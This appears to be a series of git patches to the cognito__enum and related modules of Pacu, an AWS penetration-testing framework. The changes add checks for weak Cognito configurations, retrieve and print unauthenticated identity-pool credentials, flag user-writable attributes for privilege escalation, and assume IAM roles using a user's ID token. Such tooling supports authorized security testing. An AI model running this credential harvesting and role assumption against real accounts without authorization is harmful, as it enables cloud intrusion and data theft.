attack_user["NewRoleTokens"] = prompt_assume_roles( + identity_client, + identity_pool, + roles, + region, + up_client["UserPoolId"], + tokens["AuthenticationResult"]["IdToken"], + ) if attack_user["NewRoleTokens"] is not None: print( "New role tokens retrieved! Attempting to receive temporary credentials from identity pool." @@ -876,15 +995,17 @@ def verify(client, username, client_id, user_pool_id, region): def get_assumable_roles(id_token): id_token_payload = id_token.split(".")[1] - id_token_payload_decoded = str(base64.b64decode(id_token_payload + "=="), "utf-8") - roles = re.findall( - r"arn:aws:iam::\d{12}:role/[\w+=,.@-]+", id_token_payload_decoded - ) + id_token_payload += "=" * (-len(id_token_payload) % 4) + id_token_payload_decoded = base64.b64decode(id_token_payload) + id_token_payload_json = json.loads(id_token_payload_decoded) + roles = id_token_payload_json.get("cognito:roles", []) print("This user can assume the following roles:" + str(roles)) return roles -def prompt_assume_roles(client, roles): +def prompt_assume_roles( + identity_client, identity_pool, roles, region, user_pool_id, id_token +): for i, role in enumerate(roles): print(f"{i + 1}. {role}") choice = input('Enter the number of the role you want to assume (or "n" to skip): ') @@ -893,14 +1014,28 @@ def prompt_assume_roles(client, roles): try: index = int(choice) - 1 if 0 <= index < len(roles): - new_role = client.assume_role( - RoleArn=roles[index], RoleSessionName="PacuAssumeRole" + logins = { + "cognito-idp." + region + ".amazonaws.com/" + user_pool_id: id_token + } + identity_id = identity_client.get_id(IdentityPoolId=identity_pool) + new_role = identity_client.get_credentials_for_identity( + IdentityId=identity_id["IdentityId"], + Logins=logins, + CustomRoleArn=roles[index], ) print("Assumed role successfully.") - print("Your new credentials are:") - print(f"AccessKeyId: {client.access_key}") - print(f"SecretKey: {client.secret_key}") - print(f"SessionToken: {client.session_token}") + if new_role["Credentials"]["AccessKeyId"] is not None: + print("Access Key ID found.") + print(new_role["Credentials"]["AccessKeyId"]) + if new_role["Credentials"]["SecretKey"] is not None: + print("Secret Key found.") + print(new_role["Credentials"]["SecretKey"]) + if new_role["Credentials"]["SessionToken"] is not None: + print("Session Token found.") + print(new_role["Credentials"]["SessionToken"]) + if new_role["Credentials"]["Expiration"] is not None: + print("Expiration found.") + print(new_role["Credentials"]["Expiration"]) return new_role else: print("Invalid choice.") @@ -919,6 +1054,7 @@ def get_custom_attributes( att_userPoolId, cognito_identity_pools, identity_client, + identity_pool, ): currentuser = client.get_user( AccessToken=tokens["AuthenticationResult"]["AccessToken"] @@ -1005,7 +1141,6 @@ def get_custom_attributes( pool_id=att_userPoolId, client=client, ) - print("Entering aws2_response area") tokens = aws2.authenticate_user() print("You're signed in as " + currentuser["Username"] + "!") print( @@ -1024,11 +1159,18 @@ def get_custom_attributes( att_userPoolId, newregion, ) - if credentials is not False: + if credentials is not None: print("Temporary credentials retrieved!") print(credentials) roles = get_assumable_roles(tokens["AuthenticationResult"]["IdToken"]) - prompt_assume_roles(client, roles) + prompt_assume_roles( + identity_client, + identity_pool, + roles, + newregion, + att_userPoolId, + tokens["AuthenticationResult"]["IdToken"], + ) prompt = "Modify more custom attributes?" choice = input(prompt) if choice.lower() == "y": @@ -1041,6 +1183,7 @@ def get_custom_attributes( att_userPoolId, cognito_identity_pools, identity_client, + identity_pool, ) else: print("Exiting...") @@ -1087,11 +1230,18 @@ def get_custom_attributes( att_userPoolId, newregion, ) - if credentials is not False: + if credentials is not None: print("Temporary credentials retrieved!") print(credentials) roles = get_assumable_roles(tokens["AuthenticationResult"]["IdToken"]) - prompt_assume_roles(client, roles) + prompt_assume_roles( + identity_client, + identity_pool, + roles, + newregion, + att_userPoolId, + tokens["AuthenticationResult"]["IdToken"], + ) prompt = "Modify more custom attributes?" choice = input(prompt) if choice.lower() == "y": @@ -1104,6 +1254,7 @@ def get_custom_attributes( att_userPoolId, cognito_identity_pools, identity_client, + identity_pool, ) else: print("Exiting...") diff --git a/pacu/modules/cognito__enum/main.py b/pacu/modules/cognito__enum/main.py index 7f610eea..4e11d810 100644 --- a/pacu/modules/cognito__enum/main.py +++ b/pacu/modules/cognito__enum/main.py @@ -151,109 +151,60 @@ def main(args, pacu_main): if "NextToken" in response: next_token = response["NextToken"] for userpool in response["UserPools"]: + print( + "Scanning user pool " + + userpool["Id"] + + " for vulnerabilities." + ) userpool["Region"] = region - user_pools.append(userpool) - - print(" {} user pool(s) found.".format(len(user_pools))) - all_user_pools += user_pools - - # User Pool Clients - if args.user_pool_clients: - for user_pool in user_pools: - client = pacu_main.get_boto3_client("cognito-idp", region) - response = None - next_token = False - while response is None or "NextToken" in response: - if next_token is False: - try: - print( - f"Trying to list original user pool clients for UserPoolId: {user_pool['Id']}" - ) # Add this line - response = client.list_user_pool_clients( - UserPoolId=user_pool["Id"], MaxResults=60 - ) - - print("Testing.") - for user_pool_client in response["UserPoolClients"]: - client_info = {} - print("User pool client found.") - client_info["ClientId"] = user_pool_client[ - "ClientId" - ] - client_info["UserPoolId"] = user_pool_client[ - "UserPoolId" - ] - client_info["Region"] = region - user_pool_clients.append(client_info) - - except ClientError as error: - code = error.response["Error"]["Code"] - print("FAILURE: ") - if code == "UnauthorizedOperation": - print(" Access denied to ListUserPoolClients.") - elif ( - code == "InvalidParameterException" - ): # Add this block - print(" InvalidParameterException") + userpool["Description"] = client.describe_user_pool( + UserPoolId=userpool["Id"] + ) + password_policy = userpool["Description"]["UserPool"][ + "Policies" + ]["PasswordPolicy"] + if password_policy: + if ( + password_policy["MinimumLength"] < 12 + or password_policy["RequireLowercase"] is False + or password_policy["RequireUppercase"] is False + or password_policy["RequireNumbers"] is False + or password_policy["RequireSymbols"] is False + ): + print("Weak password policy!") + if password_policy["MinimumLength"] < 12: print( - f" UserPoolId causing the issue: {user_pool['Id']}" + "Minimum password length is fewer than 12 characters (" + + str(password_policy["MinimumLength"]) + + ")." ) - break - else: - print(" " + code) - print(" Skipping user pool client enumeration...") - else: - try: - print( - f"Trying to list else-block user pool clients for UserPoolId: {user_pool['Id']}" - ) # Add this line - response = client.list_user_pool_clients( - NextToken=next_token, - UserPoolId=user_pool["Id"], - MaxResults=60, - ) - - print("Testing.") - for user_pool_client in response["UserPoolClients"]: - client_info = {} - print("User pool client found.") - client_info["ClientId"] = user_pool_client[ - "ClientId" - ] - client_info["UserPoolId"] = user_pool_client[ - "UserPoolId" - ] - client_info["Region"] = region - user_pool_clients.append(client_info) - except ClientError as error: - code = error.response["Error"]["Code"] - print("FAILURE: ") - if code == "UnauthorizedOperation": - print(" Access denied to ListUserPoolClients.") - elif ( - code == "InvalidParameterException" - ): # Add this block - print(" InvalidParameterException") + if password_policy["RequireLowercase"] is False: print( - f" UserPoolId causing the issue: {user_pool['Id']}" + "Password does not require a lowercase letter." ) - break - else: - print(" " + code) - print(" Skipping user pool client enumeration...") - break - - if "NextToken" in response: - next_token = response["NextToken"] - else: - next_token = None - - print( - f' {len(user_pool_clients)} user pool client(s) found in user pool {user_pool["Id"]}.' - ) - all_user_pool_clients += user_pool_clients + if password_policy["RequireUppercase"] is False: + print( + "Password does not require an uppercase letter." + ) + if password_policy["RequireNumbers"] is False: + print("Password does not require a number.") + if password_policy["RequireSymbols"] is False: + print("Password does not require a symbol.") + if ( + userpool["Description"]["UserPool"]["MfaConfiguration"] + == "OFF" + or userpool["Description"]["UserPool"]["MfaConfiguration"] + == "OPTIONAL" + ): + print( + "MFA is not required for user pool: " + + userpool["Id"] + + "." + ) + user_pools.append(userpool) + print(" {} user pool(s) found.".format(len(user_pools))) + all_user_pools += user_pools - # Identity Pools if args.identity_pools: client = pacu_main.get_boto3_client("cognito-identity", region) response = None @@ -281,10 +232,15 @@ def main(args, pacu_main): next_token = response["NextToken"] for identity_pool in response["IdentityPools"]: identity_pool["Region"] = region + print("Attempting unauthenticated retrieval of identity Id") try: identity_id = client.get_id( IdentityPoolId=identity_pool["IdentityPoolId"] ) + print(f"Identity ID: {identity_id}") + print( + "Attempting unauthenticated retrieval of identity Id credentials" + ) identity_creds = client.get_credentials_for_identity( IdentityId=identity_id["IdentityId"] ) @@ -293,11 +249,13 @@ def main(args, pacu_main): identity_pool["AccessKeyId"] = identity_creds[ "Credentials" ]["AccessKeyId"] + print(identity_pool["AccessKeyId"]) if identity_creds["Credentials"]["SecretKey"] is not None: print("Secret Key found.") identity_pool["SecretKey"] = identity_creds[ "Credentials" ]["SecretKey"] + print(identity_pool["SecretKey"]) if ( identity_creds["Credentials"]["SessionToken"] is not None @@ -306,25 +264,347 @@ def main(args, pacu_main): identity_pool["SessionToken"] = identity_creds[ "Credentials" ]["SessionToken"] + print(identity_pool["SessionToken"]) if identity_creds["Credentials"]["Expiration"] is not None: print("Expiration found.") identity_pool["Expiration"] = identity_creds[ "Credentials" ]["Expiration"] + print(identity_pool["Expiration"]) + except ClientError as error: + print("FAILURE: ") + code = error.response["Error"]["Code"] + print(" " + code) + try: + identity_pool["Roles"] = client.get_identity_pool_roles( + IdentityPoolId=identity_pool["IdentityPoolId"] + ) except ClientError as error: code = error.response["Error"]["Code"] if code == "UnauthorizedOperation": - print( - " Access denied to GetId or GetCredentialsForIdentity." - ) + print(" Access denied to GetIdentityPoolRoles.") else: print(" " + code) - print(" Skipping identity pool credentials enumeration...") + identity_pool["PrincipalTagAttributes"] = [] + for user_pool in user_pools: + try: + identity_provider_name = str( + "cognito-idp." + + region + + ".amazonaws.com/" + + user_pool["Id"] + ) + try: + identity_pool_principal_tag_attributes = ( + client.get_principal_tag_attribute_map( + IdentityPoolId=identity_pool[ + "IdentityPoolId" + ], + IdentityProviderName=identity_provider_name, + ) + ) + except Exception as e: + print(f"Error: {e}") + identity_pool_principal_tag_attributes = None + if identity_pool_principal_tag_attributes is not None: + identity_pool["PrincipalTagAttributes"].append( + identity_pool_principal_tag_attributes + ) + except ClientError as error: + code = error.response["Error"]["Code"] + if code == "UnauthorizedOperation": + print( + " Access denied to GetPrincipalTagAttributeMap." + ) + elif code == "ResourceNotFoundException": + print( + "No principal tags configured for user pool IdP" + + identity_provider_name + ) + else: + print(" " + code) + print( + " Skipping identity pool principal tag attribute enumeration..." + ) identity_pools.append(identity_pool) - print(" {} identity pool(s) found.".format(len(identity_pools))) all_identity_pools += identity_pools + # User Pool Clients + if args.user_pool_clients: + for user_pool in user_pools: + client = pacu_main.get_boto3_client("cognito-idp", region) + next_token = None + while True: + try: + print( + f"Trying to list user pool clients for UserPoolId: {user_pool['Id']}" + ) + if next_token is None: + response = client.list_user_pool_clients( + UserPoolId=user_pool["Id"], MaxResults=60 + ) + else: + response = client.list_user_pool_clients( + UserPoolId=user_pool["Id"], + MaxResults=60, + NextToken=next_token, + ) + for user_pool_client in response["UserPoolClients"]: + resource_server_scopes = [] + client_info = {} + print("User pool client found.") + print( + "Scanning user pool client " + + user_pool_client["ClientId"] + + " in user pool " + + user_pool["Id"] + + " for vulnerabilities." + ) + client_info["ClientId"] = user_pool_client["ClientId"] + client_info["UserPoolId"] = user_pool_client[ + "UserPoolId" + ] + client_info["Region"] = region + client_info[ + "Description" + ] = client.describe_user_pool_client( + UserPoolId=user_pool_client["UserPoolId"], + ClientId=user_pool_client["ClientId"], + ) + resource_servers = [] + next_token_resource = None + while True: + if next_token_resource is None: + resource_servers_response = ( + client.list_resource_servers( + UserPoolId=user_pool_client[ + "UserPoolId" + ], + MaxResults=50, + ) + ) + else: + resource_servers_response = ( + client.list_resource_servers( + UserPoolId=user_pool_client[ + "UserPoolId" + ], + MaxResults=50, + NextToken=next_token_resource, + ) + ) + resource_servers.extend( + resource_servers_response["ResourceServers"] + ) + next_token_resource = resource_servers_response.get( + "NextToken" + ) + if next_token_resource is None: + break + try: + for resource_server in resource_servers: + if "Scopes" in resource_server: + for scope in resource_server["Scopes"]: + resource_server_scopes.append( + scope["ScopeName"] + ) + except Exception as error: + code = error.response["Error"]["Code"] + if code == "UnauthorizedOperation": + print(" Access denied to ListResourceServers.") + else: + print(" " + code) + print(" Skipping resource server enumeration...") + if resource_servers: + user_pool["Description"]["UserPool"][ + "ResourceServers" + ] = resource_servers + write_attributes = client_info["Description"][ + "UserPoolClient" + ]["WriteAttributes"] + if ( + user_pool.get("Description") + and user_pool["Description"].get("UserPool") + and user_pool["Description"]["UserPool"].get( + "UserAttributeUpdateSettings" + ) + and user_pool["Description"]["UserPool"][ + "UserAttributeUpdateSettings" + ].get("AttributesRequireVerificationBeforeUpdate") + ): + verify_attributes = user_pool["Description"][ + "UserPool" + ]["UserAttributeUpdateSettings"][ + "AttributesRequireVerificationBeforeUpdate" + ] + if ( + client_info.get("Description") + and client_info["Description"].get("UserPoolClient") + and client_info["Description"][ + "UserPoolClient" + ].get("AllowedOAuthScopes") + ): + client_scopes = client_info["Description"][ + "UserPoolClient" + ]["AllowedOAuthScopes"] + identity_attributes = [] + identity_claims = [] + for identity_pool in identity_pools: + if identity_pool.get( + "PrincipalTagAttributes" + ) and identity_pool["PrincipalTagAttributes"].get( + "PrincipalTags" + ): + identity_attributes.append( + identity_pool["PrincipalTagAttributes"][ + "PrincipalTags" + ] + ) + if ( + identity_pool.get("Roles") + and identity_pool["Roles"].get("RoleMappings") + and identity_pool["Roles"]["RoleMappings"].get( + "RulesConfiguration" + ) + and identity_pool["Roles"]["RoleMappings"][ + "RulesConfiguration" + ].get("Rules") + and identity_pool["Roles"]["RoleMappings"][ + "RulesConfiguration" + ]["Rules"].get("Claim") + ): + identity_claims.append( + identity_pool["Roles"]["RoleMappings"][ + "RulesConfiguration" + ]["Rules"]["Claim"] + ) + user_writable_attributes = [] + client_scope_user_writable_attributes = [] + resource_server_scope_user_writable_attributes = [] + identity_attributes_user_writable_attributes = [] + identity_claims_user_writable_attributes = [] + verify_attributes = [] + for schema_attribute in user_pool["Description"][ + "UserPool" + ]["SchemaAttributes"]: + if schema_attribute["Name"] in write_attributes: + if ( + schema_attribute["DeveloperOnlyAttribute"] + is False + and schema_attribute["Mutable"] is True + ): + user_writable_attributes.append( + schema_attribute["Name"] + ) + print( + "The following attributes can be modified by users: " + + str(user_writable_attributes) + ) + client_scope_user_writable_attributes = [ + attr + for attr in user_writable_attributes + if any( + attr == scope + or attr.replace("custom:", "") + == scope.split("/")[-1] + for scope in client_scopes + ) + ] + resource_server_scope_user_writable_attributes = [ + attr + for attr in user_writable_attributes + if attr in resource_server_scopes + or attr.replace("custom:", "") + in resource_server_scopes + ] + identity_attributes_user_writable_attributes = [ + attr + for attr in user_writable_attributes + if attr in identity_attributes + or attr.replace("custom:", "") + in identity_attributes + ] + identity_claims_user_writable_attributes = [ + attr + for attr in user_writable_attributes + if attr in identity_claims + or attr.replace("custom:", "") in identity_claims + ] + for user_writable_attribute in user_writable_attributes: + if user_writable_attribute == "phone_number": + if ( + user_writable_attribute + not in verify_attributes + ): + print( + "Attribute 'phone_number' does not require verification before changing!" + ) + if user_writable_attribute == "email": + if ( + user_writable_attribute + not in verify_attributes + ): + print( + "Attribute 'email' does not require verification before changing!" + ) + if client_scope_user_writable_attributes: + print( + "The following attributes can be modified by users and are used for access control by this client (this may allow privilege escalation): " + + str(client_scope_user_writable_attributes) + ) + if resource_server_scope_user_writable_attributes: + print( + "The following attributes can be modified by users and are used for access control by a resource server (this may allow privilege escalation): " + + str( + resource_server_scope_user_writable_attributes + ) + ) + else: + print("No resource servers found.") + if identity_attributes_user_writable_attributes: + print( + "The following attributes can be modified by users and are used for access control by an identity pool (this may allow privilege escalation): " + + str( + identity_attributes_user_writable_attributes + ) + ) + else: + print("No identity pools found.") + if identity_claims_user_writable_attributes: + print( + "The following attributes can be modified by users and may be used for access control by an identity pool rule (this may allow privilege escalation): " + + str(identity_claims_user_writable_attributes) + ) + else: + print("No identity pools found.") + user_pool_clients.append(client_info) + if not response.get("NextToken"): + break + except ClientError as error: + code = error.response["Error"]["Code"] + print("FAILURE: ") + if code == "UnauthorizedOperation": + print(" Access denied to ListUserPoolClients.") + elif code == "InvalidParameterException": # Add this block + print(" InvalidParameterException") + print( + f" UserPoolId causing the issue: {user_pool['Id']}" + ) + break + else: + print(" " + code) + print(" Skipping user pool client enumeration...") + break + try: + print( + f' {len(user_pool_clients)} user pool client(s) found in user pool {user_pool["Id"]}.' + ) + except Exception as e: + print(f"Error: {e}") + print("Still here!") + all_user_pool_clients += user_pool_clients + # List Users in each User Pool if args.users: for user_pool in user_pools: @@ -332,13 +612,12 @@ def main(args, pacu_main): response = None iterate = 0 pagination_token = "" - while iterate is 0 or "PaginationToken" in response: + while iterate == 0 or "PaginationToken" in response: try: iterate += 1 print( f"Trying to list users for UserPoolId: {user_pool['Id']}" ) # Add this line - print("Stage two") response = ( client.list_users( UserPoolId=user_pool["Id"], @@ -356,7 +635,6 @@ def main(args, pacu_main): else "" ) - print("Testing.") for user in response["Users"]: user["UserPoolId"] = user_pool["Id"] user["Region"] = region diff --git a/tests/test_pacu_data_command.py b/tests/test_pacu_data_command.py index 6aaa39be..a4c9130d 100644 --- a/tests/test_pacu_data_command.py +++ b/tests/test_pacu_data_command.py @@ -36,7 +36,7 @@ def pacu_session(db: orm.session.Session): def test_parse_data_command_returns_help(pacu: Main, active_session: PacuSession): msg = pacu._parse_data_command(['data', 'non-existent-service'], active_session) assert 'Service not found. Please use the service name below.' in msg - assert 'APIGateway CloudTrail CloudWatch CodeBuild Config' in msg + assert 'APIGateway CloudTrail CloudWatch CodeBuild Cognito' in msg def test_parse_data_command_returns_no_data_found(pacu: Main, active_session: PacuSession): From 45d3fbe35afbedd379fa4d0c06c427809805daa4 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 25 Jul 2023 16:16:00 -0400 Subject: [PATCH 3/9] error handling fix and early assignment for writable attributes --- pacu/modules/cognito__enum/main.py | 805 +++++++++++------------------ 1 file changed, 288 insertions(+), 517 deletions(-) diff --git a/pacu/modules/cognito__enum/main.py b/pacu/modules/cognito__enum/main.py index 4e11d810..9b2e0ef6 100644 --- a/pacu/modules/cognito__enum/main.py +++ b/pacu/modules/cognito__enum/main.py @@ -7,74 +7,55 @@ from botocore.exceptions import ClientError from pacu.core.secretfinder.utils import regex_checker, Color -# Using Spencer's iam_enum.py as a template +#Using Spencer's iam_enum.py as a template module_info = { # Name of the module (should be the same as the filename) - "name": "cognito__enum", + 'name': 'cognito__enum', + # Name and any other notes about the author - "author": "David Kutz-Marks of Rhino Security Labs", + 'author': 'David Kutz-Marks of Rhino Security Labs', + # Category of the module. Make sure the name matches an existing category. - "category": "ENUM", + 'category': 'ENUM', + # One liner description of the module functionality. This shows up when a user searches for modules. - "one_liner": "Enumerates Cognito information in the current AWS account.", + 'one_liner': 'Enumerates Cognito information in the current AWS account.', + # Description about what the module does and how it works - "description": "The module is used to enumerate the following Cognito data in the current AWS account: users, user pool clients, user pools and identity pools. By default, all data will be enumerated, but if any arguments are passed in indicating what data to enumerate, only that specified data will be enumerated.", + 'description': 'The module is used to enumerate the following Cognito data in the current AWS account: users, user pool clients, user pools and identity pools. By default, all data will be enumerated, but if any arguments are passed in indicating what data to enumerate, only that specified data will be enumerated.', + # A list of AWS services that the module utilizes during its execution - "services": ["cognito-idp", "cognito-identity"], + 'services': ['cognito-idp', 'cognito-identity'], + # For prerequisite modules, try and see if any existing modules return the data that is required for your module before writing that code yourself; that way, session data can stay separated and modular. - "prerequisite_modules": [], + 'prerequisite_modules': [], + # External resources that the module depends on. Valid options are either a GitHub URL (must end in .git) or single file URL. - "external_dependencies": [], + 'external_dependencies': [], + # Module arguments to autocomplete when the user hits tab - "arguments_to_autocomplete": [ - "--regions", - "--user_pools", - "--user_pool_clients" "--identity_pools" "--users", + 'arguments_to_autocomplete': [ + '--regions', + '--user_pools', + '--user_pool_clients' + '--identity_pools' + '--users' ], } -parser = argparse.ArgumentParser(add_help=False, description=module_info["description"]) - -parser.add_argument( - "--regions", - required=False, - default=None, - help='One or more (comma-separated) AWS regions in the format "us-east-1". Defaults to all session regions.', -) -parser.add_argument( - "--user_pools", - required=False, - default=False, - action="store_true", - help="Enumerate Cognito user pools", -) -parser.add_argument( - "--user_pool_clients", - required=False, - default=False, - action="store_true", - help="Enumerate Cognito user pool clients", -) -parser.add_argument( - "--identity_pools", - required=False, - default=False, - action="store_true", - help="Enumerate Cognito identity pools", -) -parser.add_argument( - "--users", - required=False, - default=False, - action="store_true", - help="Enumerate users in each user pool", -) +parser = argparse.ArgumentParser(add_help=False, description=module_info['description']) + +parser.add_argument('--regions', required=False, default=None, help='One or more (comma-separated) AWS regions in the format "us-east-1". Defaults to all session regions.') +parser.add_argument('--user_pools', required=False, default=False, action='store_true', help='Enumerate Cognito user pools') +parser.add_argument('--user_pool_clients', required=False, default=False, action='store_true', help='Enumerate Cognito user pool clients') +parser.add_argument('--identity_pools', required=False, default=False, action='store_true', help='Enumerate Cognito identity pools') +parser.add_argument('--users', required=False, default=False, action='store_true', help='Enumerate users in each user pool') ARG_FIELD_MAPPER = { - "user_pools": "UserPools", - "user_pool_clients": "UserPoolClients", - "identity_pools": "IdentityPools", - "users": "Users", + 'user_pools': 'UserPools', + 'user_pool_clients':'UserPoolClients', + 'identity_pools': 'IdentityPools', + 'users': 'Users' } @@ -85,25 +66,16 @@ def main(args, pacu_main): print = pacu_main.print get_regions = pacu_main.get_regions - if ( - args.user_pools is False - and args.user_pool_clients is False - and args.identity_pools is False - and args.users is False - ): - args.user_pools = ( - args.identity_pools - ) = args.users = args.user_pool_clients = True + if args.user_pools is False and args.user_pool_clients is False and args.identity_pools is False and args.users is False: + args.user_pools = args.identity_pools = args.users = args.user_pool_clients = True if args.regions is None: - regions = get_regions("cognito-idp") - if regions is None or regions == [] or regions == "" or regions == {}: - print( - "This module is not supported in any regions specified in the current sessions region set. Exiting..." - ) + regions = get_regions('cognito-idp') + if regions is None or regions == [] or regions == '' or regions == {}: + print('This module is not supported in any regions specified in the current sessions region set. Exiting...') return else: - regions = args.regions.split(",") + regions = args.regions.split(',') all_user_pools = [] all_user_pool_clients = [] @@ -114,124 +86,93 @@ def main(args, pacu_main): user_pool_clients = [] identity_pools = [] users_in_pools = [] + - if any( - [args.user_pools, args.identity_pools, args.user_pool_clients, args.users] - ): - print("Starting region {}...".format(region)) - client = pacu_main.get_boto3_client("cognito-idp", region) + if any([args.user_pools, args.identity_pools,args.user_pool_clients, args.users]): + print('Starting region {}...'.format(region)) + client = pacu_main.get_boto3_client('cognito-idp', region) + try: # User Pools if args.user_pools: - client = pacu_main.get_boto3_client("cognito-idp", region) + client = pacu_main.get_boto3_client('cognito-idp', region) response = None next_token = False - while response is None or "NextToken" in response: + while (response is None or 'NextToken' in response): if next_token is False: try: response = client.list_user_pools( - MaxResults=60 # 60 is maximum + MaxResults=60 #60 is maximum ) except ClientError as error: - code = error.response["Error"]["Code"] - print( - "Unable to list user pools in this region (this is normal if the region is disabled in the account): " - ) - if code == "UnauthorizedOperation": - print(" Access denied to ListUserPools.") + code = error.response['Error']['Code'] + print('Unable to list user pools in this region (this is normal if the region is disabled in the account): ') + if code == 'UnauthorizedOperation': + print(' Access denied to ListUserPools.') else: - print(" " + code) - print(" Skipping user pool enumeration...") - + print(' ' + code) + print(' Skipping user pool enumeration...') + else: response = client.list_user_pools( - NextToken=next_token, MaxResults=60 # 60 is maximum - ) - if "NextToken" in response: - next_token = response["NextToken"] - for userpool in response["UserPools"]: - print( - "Scanning user pool " - + userpool["Id"] - + " for vulnerabilities." + NextToken=next_token, + MaxResults=60 #60 is maximum ) - userpool["Region"] = region - userpool["Description"] = client.describe_user_pool( - UserPoolId=userpool["Id"] - ) - password_policy = userpool["Description"]["UserPool"][ - "Policies" - ]["PasswordPolicy"] - if password_policy: - if ( - password_policy["MinimumLength"] < 12 - or password_policy["RequireLowercase"] is False - or password_policy["RequireUppercase"] is False - or password_policy["RequireNumbers"] is False - or password_policy["RequireSymbols"] is False - ): - print("Weak password policy!") - if password_policy["MinimumLength"] < 12: - print( - "Minimum password length is fewer than 12 characters (" - + str(password_policy["MinimumLength"]) - + ")." - ) - if password_policy["RequireLowercase"] is False: - print( - "Password does not require a lowercase letter." - ) - if password_policy["RequireUppercase"] is False: - print( - "Password does not require an uppercase letter." - ) - if password_policy["RequireNumbers"] is False: - print("Password does not require a number.") - if password_policy["RequireSymbols"] is False: - print("Password does not require a symbol.") - if ( - userpool["Description"]["UserPool"]["MfaConfiguration"] - == "OFF" - or userpool["Description"]["UserPool"]["MfaConfiguration"] - == "OPTIONAL" - ): - print( - "MFA is not required for user pool: " - + userpool["Id"] - + "." - ) + if 'NextToken' in response: + next_token = response['NextToken'] + for userpool in response['UserPools']: + print('Scanning user pool ' + userpool['Id'] + ' for vulnerabilities.') + userpool['Region'] = region + userpool['Description'] = client.describe_user_pool(UserPoolId=userpool['Id']) + password_policy = userpool['Description']['UserPool']['Policies']['PasswordPolicy'] + if password_policy: + if password_policy['MinimumLength'] < 12 or password_policy['RequireLowercase'] is False or password_policy['RequireUppercase'] is False or password_policy['RequireNumbers'] is False or password_policy['RequireSymbols'] is False: + print('Weak password policy!') + if password_policy['MinimumLength'] < 12: + print('Minimum password length is fewer than 12 characters (' + str(password_policy['MinimumLength']) + ').') + if password_policy['RequireLowercase'] is False: + print('Password does not require a lowercase letter.') + if password_policy['RequireUppercase'] is False: + print('Password does not require an uppercase letter.') + if password_policy['RequireNumbers'] is False: + print('Password does not require a number.') + if password_policy['RequireSymbols'] is False: + print('Password does not require a symbol.') + if userpool['Description']['UserPool']['MfaConfiguration'] == 'OFF' or userpool['Description']['UserPool']['MfaConfiguration'] == 'OPTIONAL': + print('MFA is not required for user pool: ' + userpool['Id'] + '.') user_pools.append(userpool) - print(" {} user pool(s) found.".format(len(user_pools))) + print(' {} user pool(s) found.'.format(len(user_pools))) all_user_pools += user_pools if args.identity_pools: - client = pacu_main.get_boto3_client("cognito-identity", region) + client = pacu_main.get_boto3_client('cognito-identity', region) response = None next_token = False - while response is None or "NextToken" in response: + while (response is None or 'NextToken' in response): if next_token is False: try: response = client.list_identity_pools( MaxResults=60 # 60 is maximum ) except ClientError as error: - code = error.response["Error"]["Code"] - print("FAILURE: ") - if code == "UnauthorizedOperation": - print(" Access denied to ListIdentityPools.") + code = error.response['Error']['Code'] + print('FAILURE: ') + if code == 'UnauthorizedOperation': + print(' Access denied to ListIdentityPools.') else: - print(" " + code) - print(" Skipping identity pool enumeration...") - + print(' ' + code) + print(' Skipping identity pool enumeration...') + else: response = client.list_identity_pools( - NextToken=next_token, MaxResults=60 # 60 is maximum + NextToken=next_token, + MaxResults=60 # 60 is maximum ) - if "NextToken" in response: - next_token = response["NextToken"] - for identity_pool in response["IdentityPools"]: - identity_pool["Region"] = region + if 'NextToken' in response: + next_token = response['NextToken'] + for identity_pool in response['IdentityPools']: + identity_pool['Region'] = region print("Attempting unauthenticated retrieval of identity Id") try: identity_id = client.get_id( @@ -239,439 +180,281 @@ def main(args, pacu_main): ) print(f"Identity ID: {identity_id}") print( - "Attempting unauthenticated retrieval of identity Id credentials" + "Attempting unauthenticated retrieval of identity Id credentials" ) identity_creds = client.get_credentials_for_identity( - IdentityId=identity_id["IdentityId"] - ) + IdentityId=identity_id["IdentityId"] + ) if identity_creds["Credentials"]["AccessKeyId"] is not None: print("Access Key ID found.") - identity_pool["AccessKeyId"] = identity_creds[ - "Credentials" - ]["AccessKeyId"] + identity_pool["AccessKeyId"] = identity_creds["Credentials"][ + "AccessKeyId" + ] print(identity_pool["AccessKeyId"]) if identity_creds["Credentials"]["SecretKey"] is not None: print("Secret Key found.") - identity_pool["SecretKey"] = identity_creds[ - "Credentials" - ]["SecretKey"] + identity_pool["SecretKey"] = identity_creds["Credentials"]["SecretKey"] print(identity_pool["SecretKey"]) - if ( - identity_creds["Credentials"]["SessionToken"] - is not None - ): + if identity_creds["Credentials"]["SessionToken"] is not None: print("Session Token found.") - identity_pool["SessionToken"] = identity_creds[ - "Credentials" - ]["SessionToken"] + identity_pool["SessionToken"] = identity_creds["Credentials"][ + "SessionToken" + ] print(identity_pool["SessionToken"]) if identity_creds["Credentials"]["Expiration"] is not None: print("Expiration found.") - identity_pool["Expiration"] = identity_creds[ - "Credentials" - ]["Expiration"] - print(identity_pool["Expiration"]) + identity_pool["Expiration"] = identity_creds["Credentials"][ + "Expiration" + ] + print(identity_pool["Expiration"]) except ClientError as error: print("FAILURE: ") code = error.response["Error"]["Code"] - print(" " + code) - try: - identity_pool["Roles"] = client.get_identity_pool_roles( - IdentityPoolId=identity_pool["IdentityPoolId"] - ) + print(" " + code) + try: + identity_pool['Roles'] = client.get_identity_pool_roles(IdentityPoolId=identity_pool['IdentityPoolId']) except ClientError as error: - code = error.response["Error"]["Code"] - if code == "UnauthorizedOperation": - print(" Access denied to GetIdentityPoolRoles.") + code = error.response['Error']['Code'] + if code == 'UnauthorizedOperation': + print(' Access denied to GetIdentityPoolRoles.') else: - print(" " + code) - identity_pool["PrincipalTagAttributes"] = [] + print(' ' + code) + identity_pool['PrincipalTagAttributes'] = [] for user_pool in user_pools: try: - identity_provider_name = str( - "cognito-idp." - + region - + ".amazonaws.com/" - + user_pool["Id"] - ) + identity_provider_name = str('cognito-idp.' + region + '.amazonaws.com/' + user_pool['Id']) try: - identity_pool_principal_tag_attributes = ( - client.get_principal_tag_attribute_map( - IdentityPoolId=identity_pool[ - "IdentityPoolId" - ], - IdentityProviderName=identity_provider_name, - ) - ) + identity_pool_principal_tag_attributes = client.get_principal_tag_attribute_map(IdentityPoolId=identity_pool['IdentityPoolId'], IdentityProviderName=identity_provider_name) except Exception as e: print(f"Error: {e}") identity_pool_principal_tag_attributes = None if identity_pool_principal_tag_attributes is not None: - identity_pool["PrincipalTagAttributes"].append( - identity_pool_principal_tag_attributes - ) + identity_pool['PrincipalTagAttributes'].append(identity_pool_principal_tag_attributes) except ClientError as error: - code = error.response["Error"]["Code"] - if code == "UnauthorizedOperation": - print( - " Access denied to GetPrincipalTagAttributeMap." - 